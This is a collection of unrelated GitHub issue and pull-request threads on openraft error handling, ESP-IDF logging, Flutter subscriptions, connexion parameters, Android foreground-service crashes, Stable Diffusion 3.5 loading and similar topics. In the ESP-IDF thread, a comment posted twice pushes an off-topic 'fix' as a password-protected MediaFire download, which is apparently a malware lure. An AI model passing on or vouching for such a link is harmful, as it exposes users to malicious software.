What surrounding infrastructure is required for a high availability openraft project?

I'm currently trying to use openraft in a new project, and am building up the surrounding logic:

A client aware of all the openraft nodes, which can try cycle through nodes in the case of openraft errors, leader switches, network errors, etc.
A watchdog for openraft nodes that can restart them when they have fatal errored for some reason (like a StorageIOError).

Is there any other things that should be included in my project? Also I'm a little surprised there is no built-in functionality for 2 and am curious what the best way to go about it would be (is there an event I can hook on for a raft error that would let me rebuild the node?)

Normally if StorageError occur, restarting a node won't help at all.
StorageError means the raft protocol prerequisite that disk is stable, does not hold anymore.
Then data consistency can not guaranteed.
In such a case, one need to find another server and rebuild the damaged node
with change-membership request.

Is there any other things that should be included in my project?

As far as I know, only storage error should be considered.

Also I'm a little surprised there is no built-in functionality for 2 and am
curious what the best way to go about it would be (is there an event I can
hook on for a raft error that would let me rebuild the node?)

openraft shut itself down at once if an StorageError occur.
And the metrics will report such an Fatal error(This logic still need a mock
error test to ensure it work correctly):
https://github.com/datafuselabs/openraft/blob/51817b42bb2ccd2e421a35bed8d353e7c4a7eb7d/openraft/src/core/mod.rs#L271-L285
You application should be able to receive such an event by subscribing the
metrics with Raft::metrics().
When the Fatal error occur, the RaftMetrics.running_state should be a Err():
pub struct RaftMetrics<C: RaftTypeConfig> {
    pub running_state: Result<(), Fatal<C::NodeId>>,
    ...
}

Normally if StorageError occur, restarting a node won't help at all. StorageError means the raft protocol prerequisite that disk is stable, does not hold anymore. Then data consistency can not guaranteed.
In such a case, one need to find another server and rebuild the damaged node with change-membership request.

Ah, I think I may be misusing the type in my code then.
My code does something a little unusual, which is to spawn another process to use essentially as the state machine. The spawned process is pure and can generate/load from a snapshot, so it works out pretty well, but I need to account for the fact the process itself could disappear for any reason (OOM killed or killed by something else).
In this case I decided to throw a StorageIOError if the process is no longer available during apply_to_state_machine, because I figured I want the node to die and get restarted, read back from the log/snapshot in this case. But maybe this is a misuse of the type? I'm curious what your recommendation would be here.

You application should be able to receive such an event by subscribing the metrics with Raft::metrics().

Awesome, I wasn't aware of this hook, this looks great for making nodes manage themselves to some degree. Thanks a bunch!

There isn't a restartable error defined in openraft :( In your case, IMHO, what to do inside apply_to_state_machine() is totally up to you thus you can just define an internal error for OOM. And apply_to_state_machine() should be able to detect such an error and reboot the child process, instead of pushing this error to openraft. Openraft does not know how to deal with such a condition:(

Hmm, the issue is that just rebooting the child process isn't enough -- I need to replay my log (or load from a snapshot) in order to get the child process into the right state. I'm not sure what I'd need to do in apply_to_state_machine() to make that happen? Manually reading the snapshot or the log in there seems like I'd be reimplementing a bunch of openraft-layer logic. Also I think that I wouldn't want that node to be the leader while that is occurring. It's basically like I want the node to error and get restarted by a watchdog, I think. I suppose I could have something on the side which just inspects the state machine and restarts the node when it determines it has become inconsistent somehow.

@djahandarie Not sure if it works out of the box, but wouldn't dropping the Raft and subsequently recreating do just that? It should cancel any tasks and drop any in-memory structures without doing proper shutdown, so that it would appear like the node died and restarted. And, of course, your snapshot would be reinstantiated and log applied.

Yes, as @schreter said if the restart of the subprocess will get a non-persisted state lost, restarting the entire raft node would be a solution.

Hmm, the issue is that just rebooting the child process isn't enough -- I need to replay my log (or load from a snapshot) in order to get the child process into the right state. I'm not sure what I'd need to do in apply_to_state_machine() to make that happen?

apply_to_state_machine(entries) should apply and persist the input entries.
It should not do anything about other entries.

It's basically like I want the node to error and get restarted by a watchdog, I think. I suppose I could have something on the side which just inspects the state machine and restarts the node when it determines it has become inconsistent somehow.

If the state-machine process crashes, apply_to_state_machien() could just panic!(), since you have a watchdog:).

Thanks for the thoughts. While panic!()ing in apply_to_state_machine() alone didn't quite work (it just caused some intermediate thread to die), I set up a channel to my main thread that allows me to send a shutdown message if I've decided something has gone wrong and the process should be shutdown, and that seems to work well.

While panic!()ing in apply_to_state_machine() alone didn't quite work (it just caused some intermediate thread to die).

Oh sorry! That's my mistake :(


Adds UnionProperty decorator

Fixes #3. Note that only a property decorator is added atm.

Is a Union class decorator needed?


The local script downloaded from purview portal still says onboarding to Microsoft defender for endpoint when it is run

[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 453efbb0-2428-1f98-0449-bb8490620489
Version Independent ID: 453efbb0-2428-1f98-0449-bb8490620489
Content: Onboard Windows 10 and Windows 11 devices using a local script - Microsoft Purview (compliance)
Content Source: microsoft-365/compliance/device-onboarding-script.md
Service: o365-seccomp
GitHub Login: @chrfox
Microsoft Alias: chrfox

ALso please verify the file names in point no.9

@mohanra1 Thank you for your feedback. We have fixed the file name via PR#https://github.com/MicrosoftDocs/microsoft-365-docs/pull/10760
Once the author approves, the changes will be live.
I'm also checking the other issue and will update you shortly.
Thanks
Sri

@msbemba Thank you very much for the contribution and updating the documentation with PR. @mohanra1 Hope this update is helpful for you. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


fix: Make docker compose work

Minor tweaks of Dockerfile and docker-compose so it works again.

@martintomas @Bluesmile82
Just tried this fix and it works wonderfully, provided the .env is correctly setup.


why use esp_log_write api printf data,the end of data will be append some character like  ‘ etx soh。I comfirm the oringinal data do not contain these character,this results to these character will append to the original data. (IDFGH-13566)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

IDF version.
v4.4.3
Espressif SoC revision.
ESP32
Operating System used.
Windows
How did you build your project?
Command line with Make
If you are using Windows, please specify command line type.
None
Development Kit.
ESP32
Power Supply used.
External 3.3V
What is the expected behavior?
I expected the original data will not be rewritted when use the api esp_log_write()
What is the actual behavior?
use esp_log_write api printf data,the end of data will be append some character like  ‘ etx soh。I comfirm the oringinal data do not contain these character,this results to these character will append to the original data.
Steps to reproduce.

use esp_log_write api to printf  the data which is more than 115 bytes
the end of data will be appendded some character like  ‘ 、etx or soh
finally,the original data will not be rewritted
...

Debug Logs.
No response
More Information.

please you excellent guys help me solve this problem

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hi @NormanLuo could you please add more context? how are you using such api? it is possible that you have a non null terminated string and those are remaining characters in your buffer? is it possible to see the context if such function call? that api is not intended to be used directly, you can use LOG macros also.

Hi @NormanLuo!
The esp_log_write() does not modify printed data. It outputs a log as it is, without appending any data front or end.
If you use the ESP_LOGI macro then the LOG_FORMAT  macro forms the final format string (it appends log letter, time, color, \n).
The chain of calls is ESP_LOGI->esp_log_write.
#define LOG_RESET_COLOR   "\033[0m"

\033 -> 0x1B
I think that ETX and SOH symbols are present in the original string because the log APIs and log macros do not add such characters.

Start of Heading (SOH) 0x01
End of Tex (ETX) 0x03

I'll close this issue, but if you have any further questions, feel free to reopen it. Thanks!


[BUG] overwriting existing hook without informing the user

Describe the bug
cog install-hook all command should overwrites existing hooks without any notification.
To Reproduce

Create a custom hook for commit-msg for example
Run cog install-hook all command
Observe existing hook overwritten without any warning

Expected behavior
It should keep the current hook and warn user about it

I am currently working on a new way to handle hooks which should address this.


Add possibility to pick the codec

and try to create raw videos with YUV9 format or IRAW

Done in in this 2b5ac0


Provide builds compatible with Scala 2.12.15

Scala 2.12.15 is available now. As scapegoat uses CrossFull builds, a new version is needed to be built either with the same release number (but as the values come in source, not from external resources, probably not) or a new version release should be published.
There are some subtle changes with this release (in addition to new JDK support) https://github.com/scala/scala/releases/tag/v2.12.15 Don't know if it requires code changes on scapegoat side.

I think the scala-steward fix is incorrect https://github.com/scapegoat-scala/scapegoat/commit/01620be9fa517a0e5f5216bced520b7abd2337ee#r56671697

Release of 1.4.10 with support for 2.12.15 has just been initiated. Should be available soon.

I can see 1.14.10 with 2.12.15 build is available in Maven.


Return a struct with parsed scan result instead of raw result.

@nl5887 Because I did it all in the same branch, this MR also contains updates from @jblackman and @c1982

Thx!


Where is the file: full_CNN_train.p ? File Not Found error. Thanks:)

Dear @mvirgo ,
Thanks for creating such an amazing project! I am sure that I will learn from it.
For now, I am using this as a benchmark for my new PC and I was wandering where the file 'Full_CNN_train.p' is as it is giving me a File Not Found error.
I simply cloned the github repo. by .p, do you mean .py? Many thanks 👍
Clement
Secondary School Student :)

Status Update: Found out that I haven't downloaded the dataset! The dataset is separate!

Status Update: Self-Closing: For people visiting this page in the future, remember to download the files from the Dropbox links in the readme, right before the system requirements part:)


Bump MSRV to 1.63

cc smol-rs/smol#244
Removes the build script and all of the conditional features

The wine failure is taiki-e/setup-cross-toolchain-action#9


rename to_unchecked_x

rename unchecked_to_x to to_unchecked_x, make them consistent with the existing @buffer.to_unchecked_string

Pull Request Test Coverage Report for Build 4110
Details

2 of 2 (100.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 80.483%

Totals

Change from base Build 4109:
0.0%

Covered Lines:
4396

Relevant Lines:
5462

💛  - Coveralls

Some cents on the naming convention:

For type/encoding/format conversion, use to_unchecked_x.
For data structure operations (op_get, op_set, etc) that might leads to trapping, use usafe_x.

NOTE: to_unchecked_int for float-point data types traps for out-of-rand floats on Wasm/WasmGC as well.

@bobzhang  we need to merge this before todays release


Handle Expiration of auto renewable subscription

I am not able to handle the expiration of auto renewable subscription in flutter application.
I am not able to find any functions to get the purchase details of the user when ever i need.

I am not able to handle the expiration of auto renewable subscription in flutter application.

@harikrishnanvr1511
What platform are you seeing this on ? Are you experiencing this using sandbox account ?
Are auto-renewable subscriptions not expiring or are they ?

I am not able to find any functions to get the purchase details of the user when ever i need.

This seems to be another question separate from expiration of auto renewables.
Also, can you provide flutter doctor -v, plugin version along minimal code sample that shows both the behaviors you reported ?

@harikrishnanvr1511 What platform are you seeing this on ? Are you experiencing this using sandbox account ? Are auto-renewable subscriptions not expiring or are they ?

I am not able to find any functions to get the purchase details of the user when ever i need.

This seems to be another question separate from expiration of auto renewables.
Also, can you provide flutter doctor -v, plugin version along minimal code sample that shows both the behaviors you reported ?
I am solving this using google play api in android and apple store api in ios, flutter doesn't provide any functions to handle these situations

Are auto-renewable subscriptions not expiring or are they ?

not able to find any functions to get the purchase details of the user when ever i need.

Can you provide a sample use case / code sample that shows the current limitation you are reporting ?

after subscription, if i close the app and opens the app, there are no api s for me to get the current status of the purchase,
For example I subscribed for an auto-renewable subscription from my app and after one month i want to check whether its status is okay?
What should I do in such cases?

Check this SO link and see if it helps to answer your question.


opensmtpd: 6.4.2p1 -> 6.6.4p1 [backport 19.09]

Motivation for this change
The current version of opensmtpd contains a remote code execution bug and was therefore marked as insecure.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg test opensmtpd


Issue with endpoints with body and path params

I'm having problems creating an endpoint like this one:
  /test-mixed-params/{path_param}:
    post:
      summary: Test mixed params (path and body)
      operationId: fakeapi.hello.test_mixed_params
      parameters:
        - name: path_param
          type: string
          in: path
          required: true
        - name: body_param
          in: body
          required: true

When a request is sent to this endpoint the following error is generated:
TypeError: test_mixed_params() takes exactly 2 arguments (1 given)

I've committed a test case for this issue in https://github.com/jvgutierrez/connexion/commit/95fcdbeb18242832e3799e02e22ecc3c9698a5a7
Test case output:
DEBUG:connexion.decorators.validation:http://localhost/v1.0/test-mixed-params/1 validating parameters...
DEBUG:connexion.decorators.produces:Jsonifing http://localhost/v1.0/test-mixed-params/1
DEBUG:connexion.decorators.parameter:Function Arguments: ['path_param', 'body_param']
ERROR:test_app:Exception on /v1.0/test-mixed-params/1 [POST]
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1817, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1477, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1381, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1475, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1461, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/app/connexion/decorators/validation.py", line 192, in wrapper
    response = function(*args, **kwargs)
  File "/app/connexion/decorators/produces.py", line 117, in wrapper
    data, status_code, headers = self.get_full_response(function(*args, **kwargs))
  File "/app/connexion/decorators/response.py", line 70, in wrapper
    result = function(*args, **kwargs)
  File "/app/connexion/decorators/parameter.py", line 117, in wrapper
    return function(*args, **kwargs)
TypeError: test_mixed_params() takes exactly 2 arguments (1 given)

_________________________________________________________________________________ test_mixed_params _________________________________________________________________________________

app = <connexion.app.App instance at 0x7efe478df7a0>

    def test_mixed_params(app):
        app_client = app.app.test_client()
        resp = app_client.post('/v1.0/test-mixed-params/1', data=json.dumps('test'))
>       assert resp.status_code == 200
E       assert 500 == 200
E        +  where 500 = <Response streamed [500 INTERNAL SERVER ERROR]>.status_code

tests/test_app.py:731: AssertionError

Sorry guys... it was a problem on my side, I have to send Content-type header set to application/json.
BTW, according to flask API (http://flask.pocoo.org/docs/0.10/api/#flask.Request.json) in https://github.com/zalando/connexion/blob/master/connexion/decorators/parameter.py#L79 flask.request.get_json() should be used instead of flask.request.json


Bump Abacus

Submodule abacus b1d9f58d..ab1b40a2:

Rename get-usage script to get-report
Implement configurable count window's granularity and size  in perf module (#780)
Update batch README
Update seqid README
Add counters in reporting (#778)
Update perf README
Update README.md (#779)
Name reporting variables (#775)

Coverage remained the same at 91.628% when pulling 5e10898bc4e593a4cf945b7cbc32926a0675d86b on SAP:bump_abacus_script into 2c0ad7a7070e91c957ae58144ad5181effda644d on cloudfoundry-incubator:master.


Crashes some of our users apps: Fatal Exception: android.app.ForegroundServiceDidNotStartInTimeException

Your Environment

Plugin version: 5.0.0
Platform: Android
Device OS version: Android 12
Device manufacturer / model:

Samsung Galaxy A11 & A02s
Motorola G Stylus 5G (2022)
Coosea - WindRiver DEMK4119
HMD Global - Nokia G400 5G

Capacitor info (npx cap doctor) 💊   Capacitor Doctor  💊

Latest Dependencies:

@capacitor/cli: 5.3.0
@capacitor/core: 5.3.0
@capacitor/android: 5.3.0
@capacitor/ios: 5.3.0

Installed Dependencies:

@capacitor/core: 5.2.3
@capacitor/ios: 5.2.3
@capacitor/cli: 5.2.3
@capacitor/android: 5.2.3

 [success] iOS looking great! 👌
 [success] Android looking great! 👌

Plugin config provided to #ready:

BackgroundGeolocation.ready({
      stopOnTerminate: this.stopOnTerminate,
      foregroundService: true,
      url,
      headers,
      xhrFields,
      httpRootProperty: '.',
      locationTemplate,
      distanceFilter: 30,
      elasticityMultiplier: 1.5,
      heartbeatInterval: 60,
      showsBackgroundLocationIndicator: true,
      disableLocationAuthorizationAlert: true,
      notification: {
        title: 'Background Tracking Enabled',
        text: 'Your location is being sent to Company Name.'
      },
      locationAuthorizationRequest: 'Always',
      backgroundPermissionRationale: {
        title: "Allow Company Name to access to this device's location in the background?",
        message: "In order to track your activity in the background, please enable {backgroundPermissionOptionLabel} location permission\n",
        positiveAction: "Change to {backgroundPermissionOptionLabel}",
        negativeAction: "Cancel"
      }
    })

Expected Behavior
App shouldn't crash
Actual Behavior
App crashes with this stacktrace:
Fatal Exception: android.app.ForegroundServiceDidNotStartInTimeException: Context.startForegroundService() did not then call Service.startForeground(): ServiceRecord{ccd4ae6 u0 com.x_b_e.client/com.transistorsoft.locationmanager.service.BackgroundTaskService}
       at android.app.ActivityThread.throwRemoteServiceException(ActivityThread.java:1924)
       at android.app.ActivityThread.access$2700(ActivityThread.java:248)
       at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2149)
       at android.os.Handler.dispatchMessage(Handler.java:106)
       at android.os.Looper.loopOnce(Looper.java:201)
       at android.os.Looper.loop(Looper.java:288)
       at android.app.ActivityThread.main(ActivityThread.java:7880)
       at java.lang.reflect.Method.invoke(Method.java)
       at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:548)
       at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1009)

Steps to Reproduce
Not been able to reproduce it yet. But some of our users are experiencing this issue and have reported it to us.

Yes, it's a very well known issue among the Android Development Community, where Android provides exactly 5 seconds to promote a Service to foreground by calling .startForeground(), which the plugin does.
However, if your own app code is consuming time on the Main thread (eg: a SQLite database query or long-running HTTP request), the Main Thread is blocked, preventing the plugin from calling .startForeground() in time.
Also, update to the latest version.

Thanks. I'll update to the latest plugin version and will re-open this issue if our users face the issue again.

I have the example app for Cordova, React Native and Flutter released to Play Store:  when running in isolation in my own application code, there are no reports of this ANR/Crash.  While there is not yet a published version of the Capacitor version (for no other reason than laziness), every different framework uses literally the exact same SDK code.


exception

System.UnauthorizedAccessException: Access to the path 'C:\Users\Zomb\AppData\Local\Bloxstrap\Modifications\content\textures\Cursors\KeyboardMouse\ArrowCursor.png' is denied.
Bloxstrap_20230724T224433Z.log

Can you go to C:\Users\Zomb\AppData\Local\Bloxstrap\Modifications\content\textures\Cursors\KeyboardMouse\ in the file browser and show a screenshot of what's in there?

nvm i have managed to fix it on my own

What did you do? Did it just fix it by itself?

Nevermind, seems like it's an antivirus problem.


[#5308] Ensure InetSocketAddressResolver.close() will close the wrapp…

…ed NameResolver.
Motivation:
InetSocketAddressResolver.close() must call close() on the wrapped NameResolver.
Modifications:
Correctly call close() on wrapped NameResolver and added test.
Result:
close() is correctly propergated to the wrapped resolver.

@Scottmitch PTAL

lgtm

Cherry-picked into 4.1 (6fb5b14)


Check agent time is available before performFlowExecution

Summary
Added agent time availability check in server-side.
This is previously implemented here:
https://github.com/giselles-ai/giselle/pull/209
This pull request implements this functionality to our Playground v2.
https://github.com/user-attachments/assets/39e6e14a-b370-4466-8e0d-b68560cfe5d8
Related Issue

https://github.com/giselles-ai/giselle/pull/209

@toyamarinyon I've attached a screen cast 🎥


ActiveRecord::StatementInvalid in sidekiq#default

Error in Event Data Backend
ActiveRecord::StatementInvalid in sidekiq#default
Mysql2::Error: Deadlock found when trying to get lock; try restarting transaction: UPDATE works SET works.updated_at = '2016-05-17 05:05:30', works.lock_version = 3 WHERE works.id = 800341
View on Bugsnag
Stacktrace
app/models/concerns/processable/relation_processor.rb:15 - update_relation
app/models/concerns/processable.rb:34 - update_relations
app/models/concerns/processable.rb:26 - collect_data
app/models/concerns/processable.rb:12 - process_data
app/jobs/deposit_job.rb:10 - block in perform
app/jobs/deposit_job.rb:9 - perform

View full stacktrace

An error linked to this issue has been reopened in Bugsnag
ActiveRecord::StatementInvalid in sidekiq#default

An error linked to this issue has been reopened in Bugsnag
ActiveRecord::StatementInvalid in sidekiq#default


Allow editing a feature review

Adds a 'Modify' button for the Feature Review allowing the user to change/add apps version and UAT environment

LGTM - I'll merge when branch is up-to-date.


Select element by testRole

Describe the feature you'd like:
getByTestId has a really nice implementation and we've adopted using data-test-id in our code for selenium testing and we are now looking at using in unit testing too.
Currently, in our defined testing strategy, we have a component assigned to a data-test-id, but we then have elements within the component defined with a data-test-role attribute.
For example:
export const FilterBox = ({ ariaLabel, onFilter, filter, placeholder, searchButtonString }: FilterBoxProps) => {
    return (
        <div className="data-list-filter-box" data-test-id="filter-box">
            <FontAwesomeIcon icon={faSearch} data-test-role="magnifying-glass-icon" />
            <input
                aria-label={ariaLabel}
                data-test-role='input-box'
                onChange={onFilter}
                placeholder={placeholder}
                type='search'
                value={filter}
            />
            <Button color='primary' data-test-role='search-button'>
                {searchButtonString}
            </Button>
        </div>
    )
}

So it would be useful to link in possibly 2 functions into this awesome library:

a function that, similar to getByTestId, will retrieve based on a test role.  If it could be configured/overridden like the test Id, that would be ideal.
a function that, similar to getByTestId, will accept the test id as the first parameter and a test role as a second parameter.

Suggested implementation:
queryAllByTestRole = (container, testRole) => queryHelpers.firstResultOrNull(() => queryHelpers.queryAllByAttribute('data-test-role', container, testRole));

queryAllByTestIdAndRole = (container, testId, testRole) => container.querySelector(`[data-test-id=\'${testId}\'] [data-test-role=\'${testRole}\']`);
``

<!-- Helpful but optional 😀 -->

### Describe alternatives you've considered:

I've written my own utility functions based on the existing `react-testing-library` functions, but it would be cleaner and more maintainable if they were incorporated into the library.

<!--
A clear and concise description of any alternative solutions or features you've
considered.
-->

Definitely think there should be more flexibility allowed when defining data-test selectors.

I really feel like data-testid's should be used as a last resort. Your application should be accessible and you should be using more semantic queries to get your elements.
If you'd like, you can define your own custom queries pretty easily in a custom render method: https://testing-library.com/docs/react-testing-library/api#queries
I'm pretty sure I don't want to add another query for test IDs...

I think in this case you don't need two types of test id, really? It doesn't look like the strings collide. If you want to scope the second query you can use within:
within(getByTestId('filter-box'))
  .getByTestId('search-button')


OTP 26 support

@garazdawi
I wouldn't call it fragile - it worked without problems for 6 years, dialyzer or ssl support breaks on almost every release.
What we do here is intercept standard IO so everything written to stdout and stderr is wrapped in LSP protocol messages, serialized to JSON and printed to stdout in binary. See https://microsoft.github.io/language-server-protocol/specifications/lsp/3.18/specification/#baseProtocol for details. The reason we do the interception is we don't have control over what build plugins/tools/libs print to std and each message printed that is not LSP breaks the communication channel.

I wouldn't call it fragile - it worked without problems for 6 years, dialyzer or ssl support breaks on almost every release.

Sure, but we haven't done many changes to the shell and its tools in the last 10+ years. We have however now started to do much more work in that area and the more tools that rely on undocumented and untested behavior, the more things we will accidentally break.

What we do here is intercept standard IO so everything written to stdout and stderr is wrapped in LSP protocol messages, serialized to JSON and printed to stdout in binary. See https://microsoft.github.io/language-server-protocol/specifications/lsp/3.18/specification/#baseProtocol for details. The reason we do the interception is we don't have control over what build plugins/tools/libs print to std and each message printed that is not LSP breaks the communication channel.

That's what I thought was going on, thanks for confirming. I'll have a think about how we can create an official API for you to use inorder to intercept user output.


read up on wiki

read through what your predecessor have done in their work
i transferred their wiki over to this new repo - it refers back to their issues, so it's useful for you to look at those and see the problems were at the time.

@takashissb and I have both read the wiki. @floswald  what do we need to do apart from that ? Waiting from others' work before updating  it ?

yes it would be great if you could update it to reflect the latest state of the library.
now you have a good overall knowledge of the code, what each bit is supposed to do. you should now contribute to the other issues with that knowledge. you are kind of what the informed user knows, so make sure the library is useable in how all parts work together.


Issue downloading Stable Diffusion 3.5 Medium

This model was released yesterday, so I imagine it may have something to do with that?
Running the following command:
python -m python_coreml_stable_diffusion.torch2coreml --convert-unet --chunk-unet --convert-text-encoder --convert-vae-encoder --convert-vae-decoder --convert-safety-checker --model-version stabilityai/stable-diffusion-3.5-medium -o models/

After downloading all of the necessary files, the following error happens:
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1738, in <module>
    main(args)
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1485, in main
    pipe = get_pipeline(args)
           ^^^^^^^^^^^^^^^^^^
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1470, in get_pipeline
    pipe = DiffusionPipeline.from_pretrained(model_version,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/huggingface_hub/utils/_validators.py", line 114, in _inner_fn
    return fn(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/pipelines/pipeline_utils.py", line 876, in from_pretrained
    loaded_sub_model = load_sub_model(
                       ^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/pipelines/pipeline_loading_utils.py", line 700, in load_sub_model
    loaded_sub_model = load_method(os.path.join(cached_folder, name), **loading_kwargs)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/huggingface_hub/utils/_validators.py", line 114, in _inner_fn
    return fn(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/models/modeling_utils.py", line 747, in from_pretrained
    unexpected_keys = load_model_dict_into_meta(
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/models/model_loading_utils.py", line 154, in load_model_dict_into_meta
    raise ValueError(
ValueError: Cannot load /Users/mihok/.cache/huggingface/hub/models--stabilityai--stable-diffusion-3.5-medium/snapshots/4ab6c3331a7591f128a21e617f0d9d3fc7e06e42/transformer because transformer_blocks.0.norm1.linear.bias expected shape tensor(..., device='meta', size=(9216,)), but got torch.Size([13824]). If you want to instead overwrite randomly initialized weights, please make sure to pass both `low_cpu_mem_usage=False` and `ignore_mismatched_sizes=True`. For more information, see also: https://github.com/huggingface/diffusers/issues/1619#issuecomment-1345604389 as an example.

Full console output:
Torch version 2.5.0 has not been tested with coremltools. You may run into unexpected errors. Torch 2.4.0 is the most recent version that has been tested.
Fail to import BlobReader from libmilstoragepython. No module named 'coremltools.libmilstoragepython'
Failed to load _MLModelProxy: No module named 'coremltools.libcoremlpython'
Fail to import BlobWriter from libmilstoragepython. No module named 'coremltools.libmilstoragepython'
INFO:__main__:Initializing DiffusionPipeline with stabilityai/stable-diffusion-3.5-medium..

A mixture of fp16 and non-fp16 filenames will be loaded.
Loaded fp16 filenames:
[text_encoder_2/model.fp16.safetensors, text_encoder_3/model.fp16-00002-of-00002.safetensors, text_encoder_3/model.fp16-00001-of-00002.safetensors, text_encoder/model.fp16.safetensors]
Loaded non-fp16 filenames:
[vae copy/diffusion_pytorch_model.safetensors, vae/diffusion_pytorch_model.safetensors, transformer/diffusion_pytorch_model.safetensors
If this behavior is not expected, please check your folder structure.
Keyword arguments {'use_auth_token': True} are not expected by StableDiffusion3Pipeline and will be ignored.
Loading pipeline components...:   0%|                                                            | 0/9 [00:00<?, ?it/s]The config attributes {'dual_attention_layers': [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], 'qk_norm': 'rms_norm'} were passed to SD3Transformer2DModel, but are not expected and will be ignored. Please verify your config.json configuration file.
Loading pipeline components...:   0%|                                                            | 0/9 [00:05<?, ?it/s]
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1738, in <module>
    main(args)
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1485, in main
    pipe = get_pipeline(args)
           ^^^^^^^^^^^^^^^^^^
  File "/Users/mihok/Development/src/github.com/apple/ml-stable-diffusion/python_coreml_stable_diffusion/torch2coreml.py", line 1470, in get_pipeline
    pipe = DiffusionPipeline.from_pretrained(model_version,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/huggingface_hub/utils/_validators.py", line 114, in _inner_fn
    return fn(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/pipelines/pipeline_utils.py", line 876, in from_pretrained
    loaded_sub_model = load_sub_model(
                       ^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/pipelines/pipeline_loading_utils.py", line 700, in load_sub_model
    loaded_sub_model = load_method(os.path.join(cached_folder, name), **loading_kwargs)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/huggingface_hub/utils/_validators.py", line 114, in _inner_fn
    return fn(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/models/modeling_utils.py", line 747, in from_pretrained
    unexpected_keys = load_model_dict_into_meta(
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/miniconda3/lib/python3.12/site-packages/diffusers/models/model_loading_utils.py", line 154, in load_model_dict_into_meta
    raise ValueError(
ValueError: Cannot load /Users/mihok/.cache/huggingface/hub/models--stabilityai--stable-diffusion-3.5-medium/snapshots/4ab6c3331a7591f128a21e617f0d9d3fc7e06e42/transformer because transformer_blocks.0.norm1.linear.bias expected shape tensor(..., device='meta', size=(9216,)), but got torch.Size([13824]). If you want to instead overwrite randomly initialized weights, please make sure to pass both `low_cpu_mem_usage=False` and `ignore_mismatched_sizes=True`. For more information, see also: https://github.com/huggingface/diffusers/issues/1619#issuecomment-1345604389 as an example.

Yeah I'm getting the same error, but calling diffusers directly (on amazon linux boxes):
import torch
from diffusers import StableDiffusion3Pipeline

pipe = StableDiffusion3Pipeline.from_pretrained("stabilityai/stable-diffusion-3.5-medium", torch_dtype=torch.bfloat16)
pipe = pipe.to("cuda")

